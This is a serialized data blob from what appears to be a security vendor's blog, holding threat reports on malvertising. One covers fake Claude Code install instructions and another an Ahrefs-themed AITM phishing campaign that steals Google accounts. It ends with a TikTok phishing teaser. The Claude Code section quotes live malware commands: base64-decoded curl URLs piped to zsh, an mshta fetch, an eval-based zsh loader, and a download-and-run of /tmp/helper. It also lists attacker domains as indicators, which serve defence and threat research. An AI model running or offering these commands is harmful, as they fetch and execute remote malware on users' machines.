payload:",{"data":70371,"content":70372,"nodeType":1616},{},[70373,70383,70393],{"data":70374,"content":70375,"nodeType":1570},{},[70376],{"data":70377,"content":70378,"nodeType":866},{},[70379],{"data":70380,"marks":70381,"value":70382,"nodeType":865},{},[],"contatoplus[.]com",{"data":70384,"content":70385,"nodeType":1570},{},[70386],{"data":70387,"content":70388,"nodeType":866},{},[70389],{"data":70390,"marks":70391,"value":70392,"nodeType":865},{},[],"sarahmoftah[.]com",{"data":70394,"content":70395,"nodeType":1570},{},[70396],{"data":70397,"content":70398,"nodeType":866},{},[70399],{"data":70400,"marks":70401,"value":70402,"nodeType":865},{},[],"claude[.]update-version[.]com",{"data":70404,"content":70405,"nodeType":866},{},[70406],{"data":70407,"marks":70408,"value":70410,"nodeType":865},{},[70409],{"type":926},"Commands:",{"data":70412,"content":70413,"nodeType":866},{},[70414],{"data":70415,"marks":70416,"value":70419,"nodeType":865},{},[70417],{"type":70418},"code","curl -ksfLS $(echo 'aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi'|base64 -D)| zsh",{"data":70421,"content":70422,"nodeType":866},{},[70423],{"data":70424,"marks":70425,"value":21,"nodeType":865},{},[],{"data":70427,"content":70428,"nodeType":866},{},[70429],{"data":70430,"marks":70431,"value":70433,"nodeType":865},{},[70432],{"type":70418},"curl -sfkSL $(echo 'aHR0cHM6Ly93cmljb25zdWx0LmNvbS9jdXJsLzhhZjY1YmEzODg1ZDZlMjU5NmVhMmNlMmRiNGEzYmM1ZWUwMmI4ZGViMzM2ZjlhZTkzZTI2MmM0ZGIwMGI3NTc='|base64 -D)| zsh",{"data":70435,"content":70436,"nodeType":866},{},[70437],{"data":70438,"marks":70439,"value":33479,"nodeType":865},{},[],{"data":70441,"content":70442,"nodeType":866},{},[70443],{"data":70444,"marks":70445,"value":70447,"nodeType":865},{},[70446],{"type":70418},"C:\\Windows\\SysWOW64\\mshta.exe https://claude.update-version.com/claude ",{"data":70449,"content":70450,"nodeType":866},{},[70451,70454],{"data":70452,"marks":70453,"value":33479,"nodeType":865},{},[],{"data":70455,"marks":70456,"value":70458,"nodeType":865},{},[70457],{"type":926},"Base64 decoded url:",{"data":70460,"content":70461,"nodeType":866},{},[70462],{"data":70463,"marks":70464,"value":70466,"nodeType":865},{},[70465],{"type":70418},"contatoplus[.]com/curl/8d2d275360adedecfbbd91567daddeed80d20aceb8aa4320d06a21486493945b ",{"data":70468,"content":70469,"nodeType":866},{},[70470],{"data":70471,"marks":70472,"value":21,"nodeType":865},{},[],{"data":70474,"content":70475,"nodeType":866},{},[70476],{"data":70477,"marks":70478,"value":70480,"nodeType":865},{},[70479],{"type":70418},"saramoftah[.]com/curl/958ca005af6a71be22cfcd5de82ebf5c8b809b7ee28999b6ed38bfe5d19420",{"data":70482,"content":70483,"nodeType":866},{},[70484,70487],{"data":70485,"marks":70486,"value":33479,"nodeType":865},{},[],{"data":70488,"marks":70489,"value":70491,"nodeType":865},{},[70490],{"type":926},"Second stage:",{"data":70493,"content":70494,"nodeType":866},{},[70495],{"data":70496,"marks":70497,"value":70499,"nodeType":865},{},[70498],{"type":70418},"#!/bin/zsh",{"data":70501,"content":70502,"nodeType":866},{},[70503],{"data":70504,"marks":70505,"value":70507,"nodeType":865},{},[70506],{"type":70418},"mkgrc9=$(base64 -D \u003C\u003C'PAYLOAD_END' | gunzip",{"data":70509,"content":70510,"nodeType":866},{},[70511],{"data":70512,"marks":70513,"value":70515,"nodeType":865},{},[70514],{"type":70418},"H4sIAKgRpGkC/13LPQqAMAxA4b2niAhdpGYVbxPbSoT+0UYonl5HdXwfvHHA7Uh4NVb2rAFMBpRYkH0ovgKLlLYiNqoU8y7Es80R05LwLI7Eg9bQSaSCsZ/zccsxO5j631+pbrYTnkSAAAAA",{"data":70517,"content":70518,"nodeType":866},{},[70519],{"data":70520,"marks":70521,"value":70523,"nodeType":865},{},[70522],{"type":70418},"PAYLOAD_END",{"data":70525,"content":70526,"nodeType":866},{},[70527],{"data":70528,"marks":70529,"value":53681,"nodeType":865},{},[70530],{"type":70418},{"data":70532,"content":70533,"nodeType":866},{},[70534],{"data":70535,"marks":70536,"value":70538,"nodeType":865},{},[70537],{"type":70418},"eval \"$mkgrc9\"",{"data":70540,"content":70541,"nodeType":866},{},[70542,70545],{"data":70543,"marks":70544,"value":33479,"nodeType":865},{},[],{"data":70546,"marks":70547,"value":70549,"nodeType":865},{},[70548],{"type":926},"Binaries:",{"data":70551,"content":70552,"nodeType":866},{},[70553],{"data":70554,"marks":70555,"value":70499,"nodeType":865},{},[70556],{"type":70418},{"data":70558,"content":70559,"nodeType":866},{},[70560],{"data":70561,"marks":70562,"value":70564,"nodeType":865},{},[70563],{"type":70418},"curl -o /tmp/helper https://saramoftah.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper","Attackers are impersonating popular developer tools like Claude Code to distribute fake install instructions via malicious search engine ads.","2026-03-06T00:00:00.000Z",{"items":70568},[70569,70571],{"sys":70570,"name":7796},{"id":7795},{"sys":70572,"name":342},{"id":4642},{"items":70574},[70575],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":70576},{"url":57336},{"__typename":1429,"sys":70578,"content":70579,"title":36706,"synopsis":71176,"hashTags":59,"publishedDate":71177,"slug":36707,"tagsCollection":71178,"authorsCollection":71184},{"id":33828},{"json":70580},{"data":70581,"content":70582,"nodeType":1382},{},[70583,70590,70597,70646,70652,70659,70666,70672,70678,70684,70687,70695,70702,70708,70715,70721,70727,70734,70740,70757,70760,70768,70775,70782,70789,70796,70802,70820,70823,70831,70838,70892,70899,70906,70909,70916,70923,70930,70937,70963,70966,70973,70989,70996,71039,71046,71089,71096,71169],{"data":70584,"content":70585,"nodeType":866},{},[70586],{"data":70587,"marks":70588,"value":70589,"nodeType":865},{},[],"In recent months, we’ve seen a significant increase in the number of attacks targeting ad manager accounts. These attacks ultimately serve up an Attacker-in-the-Middle (AITM) phishing page designed to steal the victim’s Google account. ",{"data":70591,"content":70592,"nodeType":866},{},[70593],{"data":70594,"marks":70595,"value":70596,"nodeType":865},{},[],"Most recently, we reported on:",{"data":70598,"content":70599,"nodeType":1616},{},[70600,70623],{"data":70601,"content":70602,"nodeType":1570},{},[70603],{"data":70604,"content":70605,"nodeType":866},{},[70606,70610,70619],{"data":70607,"marks":70608,"value":70609,"nodeType":865},{},[],"A campaign running ",{"data":70611,"content":70613,"nodeType":889},{"uri":70612},"https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts/",[70614],{"data":70615,"marks":70616,"value":70618,"nodeType":865},{},[70617],{"type":943},"fake malvertising ads for “Google Ads”",{"data":70620,"marks":70621,"value":70622,"nodeType":865},{},[]," in Google Search. ",{"data":70624,"content":70625,"nodeType":1570},{},[70626],{"data":70627,"content":70628,"nodeType":866},{},[70629,70633,70642],{"data":70630,"marks":70631,"value":70632,"nodeType":865},{},[],"A campaign using sophisticated ",{"data":70634,"content":70636,"nodeType":889},{"uri":70635},"https://pushsecurity.com/blog/uncovering-a-calendly-themed-phishing-campaign/",[70637],{"data":70638,"marks":70639,"value":70641,"nodeType":865},{},[70640],{"type":943},"Calendly-themed phishing lures",{"data":70643,"marks":70644,"value":70645,"nodeType":865},{},[]," targeting marketing professionals.",{"data":70647,"content":70651,"nodeType":912},{"target":70648},{"sys":70649},{"id":70650,"type":909,"linkType":910},"1ThnhFZQIhzV179qclvzFH",[],{"data":70653,"content":70654,"nodeType":866},{},[70655],{"data":70656,"marks":70657,"value":70658,"nodeType":865},{},[],"Now, we’ve seen the Google Ads malvertising campaign expand to run additional ads impersonating Ahrefs, an AI marketing platform. Crucially, employees with access to Ahrefs are highly likely to also have access to Google Ads, meaning that attackers can reliably target Google accounts via Ahrefs. ",{"data":70660,"content":70661,"nodeType":866},{},[70662],{"data":70663,"marks":70664,"value":70665,"nodeType":865},{},[],"You can see a demo of the phishing chain below. ",{"data":70667,"content":70671,"nodeType":912},{"target":70668},{"sys":70669},{"id":70670,"type":909,"linkType":910},"2XjyySGldgl9uPA7CZRms8",[],{"data":70673,"content":70677,"nodeType":912},{"target":70674},{"sys":70675},{"id":70676,"type":909,"linkType":910},"yB12nGF91iq15GoHWItaX",[],{"data":70679,"content":70683,"nodeType":912},{"target":70680},{"sys":70681},{"id":70682,"type":909,"linkType":910},"2NK29DaTd93kOctyWxV0RT",[],{"data":70685,"content":70686,"nodeType":972},{},[],{"data":70688,"content":70689,"nodeType":981},{},[70690],{"data":70691,"marks":70692,"value":70694,"nodeType":865},{},[70693],{"type":926},"Attack breakdown",{"data":70696,"content":70697,"nodeType":866},{},[70698],{"data":70699,"marks":70700,"value":70701,"nodeType":865},{},[],"Users searching for “ahrefs” on Google Search were served with a fake ad impersonating Ahrefs, hosted on Squarespace, a legitimate website building and hosting platform. Previously, we’d seen this campaign use hosting sites Odoo and Kartra to similar effect. ",{"data":70703,"content":70707,"nodeType":912},{"target":70704},{"sys":70705},{"id":70706,"type":909,"linkType":910},"59dhFey5rahm5sA20NudTl",[],{"data":70709,"content":70710,"nodeType":866},{},[70711],{"data":70712,"marks":70713,"value":70714,"nodeType":865},{},[],"Upon clicking the link, the victim was taken to a clone of the real Ahrefs site. Crucially, you can see that the domain is not the official Ahrefs domain. ",{"data":70716,"content":70720,"nodeType":912},{"target":70717},{"sys":70718},{"id":70719,"type":909,"linkType":910},"48fQUiJXC1qACKUUPDliS5",[],{"data":70722,"content":70726,"nodeType":912},{"target":70723},{"sys":70724},{"id":70725,"type":909,"linkType":910},"77iqOW1jDVt5Oxw8qTwnKG",[],{"data":70728,"content":70729,"nodeType":866},{},[70730],{"data":70731,"marks":70732,"value":70733,"nodeType":865},{},[],"However, the site is not fully interactable beyond the front page. Clicking on any link takes the user to a Google sign-in page. ",{"data":70735,"content":70739,"nodeType":912},{"target":70736},{"sys":70737},{"id":70738,"type":909,"linkType":910},"7t9BoUyIFN8dlBDksjsYlD",[],{"data":70741,"content":70742,"nodeType":866},{},[70743,70747,70754],{"data":70744,"marks":70745,"value":70746,"nodeType":865},{},[],"This is in fact an AITM phishing page that is designed to hijack the victim’s Google account. Entering credentials and completing the MFA check will result in the attacker stealing the app session and effectively taking over the account. The phishing kit used matches ",{"data":70748,"content":70749,"nodeType":889},{"uri":70612},[70750],{"data":70751,"marks":70752,"value":70753,"nodeType":865},{},[],"the previous malvertising detected impersonating Google Ads",{"data":70755,"marks":70756,"value":14251,"nodeType":865},{},[],{"data":70758,"content":70759,"nodeType":972},{},[],{"data":70761,"content":70762,"nodeType":981},{},[70763],{"data":70764,"marks":70765,"value":70767,"nodeType":865},{},[70766],{"type":926},"Why are attackers targeting ad manager accounts?",{"data":70769,"content":70770,"nodeType":866},{},[70771],{"data":70772,"marks":70773,"value":70774,"nodeType":865},{},[],"Ad Manager accounts on platforms like Google, Facebook, and LinkedIn have become lucrative targets for cybercriminals. By compromising these accounts, attackers can exploit the digital advertising ecosystem in various ways for financial gain. ",{"data":70776,"content":70777,"nodeType":866},{},[70778],{"data":70779,"marks":70780,"value":70781,"nodeType":865},{},[],"The ad industry’s scale makes it attractive to fraud. Estimates suggest digital ad fraud cost advertisers tens of billions, potentially nearing $100 billion or more, with projections reaching $172 billion by 2028.",{"data":70783,"content":70784,"nodeType":866},{},[70785],{"data":70786,"marks":70787,"value":70788,"nodeType":865},{},[],"A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized illicitly. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.",{"data":70790,"content":70791,"nodeType":866},{},[70792],{"data":70793,"marks":70794,"value":70795,"nodeType":865},{},[],"Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts pretty much a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the customer portfolio. ",{"data":70797,"content":70801,"nodeType":912},{"target":70798},{"sys":70799},{"id":70800,"type":909,"linkType":910},"1WPbstxHtdjnAKpF1rhCpW",[],{"data":70803,"content":70804,"nodeType":866},{},[70805,70809,70817],{"data":70806,"marks":70807,"value":70808,"nodeType":865},{},[],"Learn more about why attackers are targeting ad manager accounts ",{"data":70810,"content":70812,"nodeType":889},{"uri":70811},"https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis",[70813],{"data":70814,"marks":70815,"value":70816,"nodeType":865},{},[],"in our blog post",{"data":70818,"marks":70819,"value":14251,"nodeType":865},{},[],{"data":70821,"content":70822,"nodeType":972},{},[],{"data":70824,"content":70825,"nodeType":981},{},[70826],{"data":70827,"marks":70828,"value":70830,"nodeType":865},{},[70829],{"type":926},"Why malvertising? ",{"data":70832,"content":70833,"nodeType":866},{},[70834],{"data":70835,"marks":70836,"value":70837,"nodeType":865},{},[],"Malvertising scams happen across lots of different sites, but the most common platform we see targeted is Google Search. This takes advantage of users browsing to find a website and clicking the first link that appears — in this case a fake sponsored link taking you to the attacker’s page. ",{"data":70839,"content":70840,"nodeType":866},{},[70841,70845,70852,70856,70864,70867,70876,70879,70888],{"data":70842,"marks":70843,"value":70844,"nodeType":865},{},[],"Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. Malvertising is an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ",{"data":70846,"content":70847,"nodeType":889},{"uri":14355},[70848],{"data":70849,"marks":70850,"value":315,"nodeType":865},{},[70851],{"type":943},{"data":70853,"marks":70854,"value":70855,"nodeType":865},{},[]," (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search). This isn’t just targeting ad manager accounts — last year, we reported on campaigns impersonating ",{"data":70857,"content":70858,"nodeType":889},{"uri":1082},[70859],{"data":70860,"marks":70861,"value":70863,"nodeType":865},{},[70862],{"type":943},"TradingView",{"data":70865,"marks":70866,"value":2717,"nodeType":865},{},[],{"data":70868,"content":70870,"nodeType":889},{"uri":70869},"https://pushsecurity.com/blog/phishing-with-active-directory-federation-services/",[70871],{"data":70872,"marks":70873,"value":70875,"nodeType":865},{},[70874],{"type":943},"Microsoft Office 365",{"data":70877,"marks":70878,"value":3476,"nodeType":865},{},[],{"data":70880,"content":70882,"nodeType":889},{"uri":70881},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers/",[70883],{"data":70884,"marks":70885,"value":70887,"nodeType":865},{},[70886],{"type":943},"Onfido",{"data":70889,"marks":70890,"value":70891,"nodeType":865},{},[],", to name a few. ",{"data":70893,"content":70894,"nodeType":866},{},[70895],{"data":70896,"marks":70897,"value":70898,"nodeType":865},{},[],"There’s a tendency to see malvertising as a more random attack, but Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. ",{"data":70900,"content":70901,"nodeType":866},{},[70902],{"data":70903,"marks":70904,"value":70905,"nodeType":865},{},[],"Because these attacks completely circumvent the traditional phishing detection surface (email) and often happen entirely over the internet (meaning no endpoint security controls can come into play) the only way to reliably detect and stop these attacks is to intercept them where they happen — in the user’s web browser. ",{"data":70907,"content":70908,"nodeType":972},{},[],{"data":70910,"content":70911,"nodeType":981},{},[70912],{"data":70913,"marks":70914,"value":67289,"nodeType":865},{},[70915],{"type":926},{"data":70917,"content":70918,"nodeType":866},{},[70919],{"data":70920,"marks":70921,"value":70922,"nodeType":865},{},[],"Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser, where Push is waiting to detect and block the attack. Even if the page has never been previously flagged as suspicious or malicious, Push analyses the page in real time and blocks it — protecting against the latest zero-day threats.  ",{"data":70924,"content":70925,"nodeType":866},{},[70926],{"data":70927,"marks":70928,"value":70929,"nodeType":865},{},[],"By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it's entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and shuts it down.",{"data":70931,"content":70932,"nodeType":866},{},[70933],{"data":70934,"marks":70935,"value":70936,"nodeType":865},{},[],"Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":70938,"content":70939,"nodeType":866},{},[70940,70943,70950,70953,70960],{"data":70941,"marks":70942,"value":11372,"nodeType":865},{},[],{"data":70944,"content":70945,"nodeType":889},{"uri":11375},[70946],{"data":70947,"marks":70948,"value":11381,"nodeType":865},{},[70949],{"type":943},{"data":70951,"marks":70952,"value":53880,"nodeType":865},{},[],{"data":70954,"content":70955,"nodeType":889},{"uri":1372},[70956],{"data":70957,"marks":70958,"value":11405,"nodeType":865},{},[70959],{"type":943},{"data":70961,"marks":70962,"value":1615,"nodeType":865},{},[],{"data":70964,"content":70965,"nodeType":972},{},[],{"data":70967,"content":70968,"nodeType":981},{},[70969],{"data":70970,"marks":70971,"value":67181,"nodeType":865},{},[70972],{"type":926},{"data":70974,"content":70975,"nodeType":866},{},[70976,70979,70986],{"data":70977,"marks":70978,"value":44799,"nodeType":865},{},[],{"data":70980,"content":70981,"nodeType":889},{"uri":38042},[70982],{"data":70983,"marks":70984,"value":38047,"nodeType":865},{},[70985],{"type":943},{"data":70987,"marks":70988,"value":67198,"nodeType":865},{},[],{"data":70990,"content":70991,"nodeType":866},{},[70992],{"data":70993,"marks":70994,"value":70995,"nodeType":865},{},[],"That said, the domains observed in this chain were:",{"data":70997,"content":70998,"nodeType":1616},{},[70999,71009,71019,71029],{"data":71000,"content":71001,"nodeType":1570},{},[71002],{"data":71003,"content":71004,"nodeType":866},{},[71005],{"data":71006,"marks":71007,"value":71008,"nodeType":865},{},[],"comandd-ok[.]com",{"data":71010,"content":71011,"nodeType":1570},{},[71012],{"data":71013,"content":71014,"nodeType":866},{},[71015],{"data":71016,"marks":71017,"value":71018,"nodeType":865},{},[],"ahrefs-ac.squarespace[.]com",{"data":71020,"content":71021,"nodeType":1570},{},[71022],{"data":71023,"content":71024,"nodeType":866},{},[71025],{"data":71026,"marks":71027,"value":71028,"nodeType":865},{},[],"ahrefs-seo-app.squarespace[.]com",{"data":71030,"content":71031,"nodeType":1570},{},[71032],{"data":71033,"content":71034,"nodeType":866},{},[71035],{"data":71036,"marks":71037,"value":71038,"nodeType":865},{},[],"slgn-ahrefs-app-com.squarespace[.]com",{"data":71040,"content":71041,"nodeType":866},{},[71042],{"data":71043,"marks":71044,"value":71045,"nodeType":865},{},[],"[Update 24th February] We also observed the following new domains:",{"data":71047,"content":71048,"nodeType":1616},{},[71049,71059,71069,71079],{"data":71050,"content":71051,"nodeType":1570},{},[71052],{"data":71053,"content":71054,"nodeType":866},{},[71055],{"data":71056,"marks":71057,"value":71058,"nodeType":865},{},[],"www-ahrefs-seo-ads[.]surge.sh",{"data":71060,"content":71061,"nodeType":1570},{},[71062],{"data":71063,"content":71064,"nodeType":866},{},[71065],{"data":71066,"marks":71067,"value":71068,"nodeType":865},{},[],"web-semrush-seo-wold[.]surge[.]sh",{"data":71070,"content":71071,"nodeType":1570},{},[71072],{"data":71073,"content":71074,"nodeType":866},{},[71075],{"data":71076,"marks":71077,"value":71078,"nodeType":865},{},[],"contabelforeehc[.]com",{"data":71080,"content":71081,"nodeType":1570},{},[71082],{"data":71083,"content":71084,"nodeType":866},{},[71085],{"data":71086,"marks":71087,"value":71088,"nodeType":865},{},[],"contabelfore[.]com",{"data":71090,"content":71091,"nodeType":866},{},[71092],{"data":71093,"marks":71094,"value":71095,"nodeType":865},{},[],"In addition, the following domains were previously associated with the attacks we detected in December:",{"data":71097,"content":71098,"nodeType":1616},{},[71099,71109,71119,71129,71139,71149,71159],{"data":71100,"content":71101,"nodeType":1570},{},[71102],{"data":71103,"content":71104,"nodeType":866},{},[71105],{"data":71106,"marks":71107,"value":71108,"nodeType":865},{},[],"ads-adsword1.odoo[.]com",{"data":71110,"content":71111,"nodeType":1570},{},[71112],{"data":71113,"content":71114,"nodeType":866},{},[71115],{"data":71116,"marks":71117,"value":71118,"nodeType":865},{},[],"sing-operador2[.]click/accounts/v3/login",{"data":71120,"content":71121,"nodeType":1570},{},[71122],{"data":71123,"content":71124,"nodeType":866},{},[71125],{"data":71126,"marks":71127,"value":71128,"nodeType":865},{},[],"adsgooglie.odoo[.]com/",{"data":71130,"content":71131,"nodeType":1570},{},[71132],{"data":71133,"content":71134,"nodeType":866},{},[71135],{"data":71136,"marks":71137,"value":71138,"nodeType":865},{},[],"word4only[.]online/",{"data":71140,"content":71141,"nodeType":1570},{},[71142],{"data":71143,"content":71144,"nodeType":866},{},[71145],{"data":71146,"marks":71147,"value":71148,"nodeType":865},{},[],"adsloginacess.kartra[.]com/page/oeN7",{"data":71150,"content":71151,"nodeType":1570},{},[71152],{"data":71153,"content":71154,"nodeType":866},{},[71155],{"data":71156,"marks":71157,"value":71158,"nodeType":865},{},[],"ads-o.odoo[.]com",{"data":71160,"content":71161,"nodeType":1570},{},[71162],{"data":71163,"content":71164,"nodeType":866},{},[71165],{"data":71166,"marks":71167,"value":71168,"nodeType":865},{},[],"operador8-ads[.]lat/accounts/v3/login/",{"data":71170,"content":71171,"nodeType":866},{},[71172],{"data":71173,"marks":71174,"value":37990,"nodeType":865},{},[71175],{"type":926},"New samples linked to a Push-tracked malvertising campaign detected, targeting Google accounts via an Ahrefs lure. ","2026-01-12T00:00:00.000Z",{"items":71179},[71180,71182],{"sys":71181,"name":342},{"id":4642},{"sys":71183,"name":7796},{"id":7795},{"items":71185},[71186],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":71187},{"url":7804},"tiktok-phishing","blog/tiktok-phishing",{"json":71191},{"data":71192,"content":71193,"nodeType":1382},{},[71194],{"data":71195,"content":71196,"nodeType":866},{},[71197],{"data":71198,"marks":71199,"value":71200,"nodeType":865},{},[],"We’ve identified a new wave of AITM phishing pages designed to hijack TikTok accounts. This seems like a weird target at first glance, but TikTok accounts are ripe for abuse in malvertising scams. ","Investigating a new wave of AITM phishing pages designed to hijack TikTok accounts.",{"id":71203,"publishedAt":71204},"1iOnp8gcu1tEUvkqOZsdFd","2026-08-12T11:53:03.984Z",{"items":71206},[71207,71209],{"sys":71208,"name":7796},{"id":7795},{"sys":71210,"name":342},{"id":4642},{"items":71212},[71213,71215,71217,71219,71221,71223,71225,71227,71229,71231,71233,71235,71237],{"sys":71214,"name":279,"slug":280,"tier":31},{"id":276},{"sys":71216,"name":519,"slug":520,"tier":31},{"id":516},{"sys":71218,"name":342,"slug":343,"tier":31},{"id":339},{"sys":71220,"name":642,"slug":643,"tier":31},{"id":639},{"sys":71222,"name":261,"slug":262,"tier":45},{"id":258},{"sys":71224,"name":571,"slug":572,"tier":45},{"id":568},{"sys":71226,"name":440,"slug":441,"tier":45},{"id":437},{"sys":71228,"name":607,"slug":608,"tier":45},{"id":604},{"sys":71230,"name":324,"slug":325,"tier":45},{"id":321},{"sys":71232,"name":422,"slug":423,"tier":45},{"id":419},{"sys":71234,"name":431,"slug":432,"tier":45},{"id":428},{"sys":71236,"name":315,"slug":316,"tier":45},{"id":312},{"sys":71238,"name":475,"slug":476,"tier":45},{"id":472},"2QzODApgAyCDdKXUqZsIixHK-lMHFS0k-JD0u04_nQ4",{"id":71241,"title":41957,"authorsCollection":71242,"content":71247,"extension":228,"faqItemsCollection":72056,"faqTitle":59,"featured":6,"hashTags":59,"meta":72058,"metaTitle":72059,"ogImage":59,"postType":72060,"publishedDate":41959,"relatedBlogPostsCollection":72061,"slug":41960,"stem":74174,"subtitle":59,"summary":74175,"synopsis":41958,"sys":74186,"tagsCollection":74188,"topicsCollection":74194,"__hash__":74226},"blog/blog/stryker-handala-report.json",{"items":71243},[71244],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":71245,"profilePicture":71246},[30152],{"url":7804},{"json":71248,"links":72017},{"data":71249,"content":71250,"nodeType":1382},{},[71251,71257,71262,71277,71280,71287,71293,71299,71302,71309,71315,71471,71477,71483,71486,71493,71499,71505,71511,71517,71520,71527,71542,71548,71555,71561,71679,71694,71701,71707,71816,71831,71836,71839,71846,71852,71858,71864,71867,71874,71905,71929,71935,71940,71943,71950,71956,71962,71968,71971,71978,71984],{"data":71252,"content":71253,"nodeType":866},{},[71254],{"data":71255,"marks":71256,"value":41065,"nodeType":865},{},[],{"data":71258,"content":71261,"nodeType":912},{"target":71259},{"sys":71260},{"id":41070,"type":909,"linkType":910},[],{"data":71263,"content":71264,"nodeType":866},{},[71265,71268,71274],{"data":71266,"marks":71267,"value":41078,"nodeType":865},{},[],{"data":71269,"content":71270,"nodeType":889},{"uri":41081},[71271],{"data":71272,"marks":71273,"value":41086,"nodeType":865},{},[],{"data":71275,"marks":71276,"value":41090,"nodeType":865},{},[],{"data":71278,"content":71279,"nodeType":972},{},[],{"data":71281,"content":71282,"nodeType":981},{},[71283],{"data":71284,"marks":71285,"value":41101,"nodeType":865},{},[71286],{"type":926},{"data":71288,"content":71289,"nodeType":866},{},[71290],{"data":71291,"marks":71292,"value":41108,"nodeType":865},{},[],{"data":71294,"content":71295,"nodeType":866},{},[71296],{"data":71297,"marks":71298,"value":41115,"nodeType":865},{},[],{"data":71300,"content":71301,"nodeType":972},{},[],{"data":71303,"content":71304,"nodeType":981},{},[71305],{"data":71306,"marks":71307,"value":41126,"nodeType":865},{},[71308],{"type":926},{"data":71310,"content":71311,"nodeType":866},{},[71312],{"data":71313,"marks":71314,"value":41133,"nodeType":865},{},[],{"data":71316,"content":71317,"nodeType":2927},{},[71318,71351,71381,71411,71441],{"data":71319,"content":71320,"nodeType":2400},{},[71321,71331,71341],{"data":71322,"content":71323,"nodeType":38076},{},[71324],{"data":71325,"content":71326,"nodeType":866},{},[71327],{"data":71328,"marks":71329,"value":41150,"nodeType":865},{},[71330],{"type":926},{"data":71332,"content":71333,"nodeType":38076},{},[71334],{"data":71335,"content":71336,"nodeType":866},{},[71337],{"data":71338,"marks":71339,"value":41161,"nodeType":865},{},[71340],{"type":926},{"data":71342,"content":71343,"nodeType":38076},{},[71344],{"data":71345,"content":71346,"nodeType":866},{},[71347],{"data":71348,"marks":71349,"value":41172,"nodeType":865},{},[71350],{"type":926},{"data":71352,"content":71353,"nodeType":2400},{},[71354,71363,71372],{"data":71355,"content":71356,"nodeType":2366},{},[71357],{"data":71358,"content":71359,"nodeType":866},{},[71360],{"data":71361,"marks":71362,"value":41185,"nodeType":865},{},[],{"data":71364,"content":71365,"nodeType":2366},{},[71366],{"data":71367,"content":71368,"nodeType":866},{},[71369],{"data":71370,"marks":71371,"value":41195,"nodeType":865},{},[],{"data":71373,"content":71374,"nodeType":2366},{},[71375],{"data":71376,"content":71377,"nodeType":866},{},[71378],{"data":71379,"marks":71380,"value":41205,"nodeType":865},{},[],{"data":71382,"content":71383,"nodeType":2400},{},[71384,71393,71402],{"data":71385,"content":71386,"nodeType":2366},{},[71387],{"data":71388,"content":71389,"nodeType":866},{},[71390],{"data":71391,"marks":71392,"value":41218,"nodeType":865},{},[],{"data":71394,"content":71395,"nodeType":2366},{},[71396],{"data":71397,"content":71398,"nodeType":866},{},[71399],{"data":71400,"marks":71401,"value":41228,"nodeType":865},{},[],{"data":71403,"content":71404,"nodeType":2366},{},[71405],{"data":71406,"content":71407,"nodeType":866},{},[71408],{"data":71409,"marks":71410,"value":41238,"nodeType":865},{},[],{"data":71412,"content":71413,"nodeType":2400},{},[71414,71423,71432],{"data":71415,"content":71416,"nodeType":2366},{},[71417],{"data":71418,"content":71419,"nodeType":866},{},[71420],{"data":71421,"marks":71422,"value":41251,"nodeType":865},{},[],{"data":71424,"content":71425,"nodeType":2366},{},[71426],{"data":71427,"content":71428,"nodeType":866},{},[71429],{"data":71430,"marks":71431,"value":41261,"nodeType":865},{},[],{"data":71433,"content":71434,"nodeType":2366},{},[71435],{"data":71436,"content":71437,"nodeType":866},{},[71438],{"data":71439,"marks":71440,"value":41271,"nodeType":865},{},[],{"data":71442,"content":71443,"nodeType":2400},{},[71444,71453,71462],{"data":71445,"content":71446,"nodeType":2366},{},[71447],{"data":71448,"content":71449,"nodeType":866},{},[71450],{"data":71451,"marks":71452,"value":41284,"nodeType":865},{},[],{"data":71454,"content":71455,"nodeType":2366},{},[71456],{"data":71457,"content":71458,"nodeType":866},{},[71459],{"data":71460,"marks":71461,"value":41294,"nodeType":865},{},[],{"data":71463,"content":71464,"nodeType":2366},{},[71465],{"data":71466,"content":71467,"nodeType":866},{},[71468],{"data":71469,"marks":71470,"value":41304,"nodeType":865},{},[],{"data":71472,"content":71473,"nodeType":866},{},[71474],{"data":71475,"marks":71476,"value":41311,"nodeType":865},{},[],{"data":71478,"content":71479,"nodeType":866},{},[71480],{"data":71481,"marks":71482,"value":41318,"nodeType":865},{},[],{"data":71484,"content":71485,"nodeType":972},{},[],{"data":71487,"content":71488,"nodeType":981},{},[71489],{"data":71490,"marks":71491,"value":41329,"nodeType":865},{},[71492],{"type":926},{"data":71494,"content":71495,"nodeType":866},{},[71496],{"data":71497,"marks":71498,"value":41336,"nodeType":865},{},[],{"data":71500,"content":71501,"nodeType":866},{},[71502],{"data":71503,"marks":71504,"value":41343,"nodeType":865},{},[],{"data":71506,"content":71507,"nodeType":866},{},[71508],{"data":71509,"marks":71510,"value":41350,"nodeType":865},{},[],{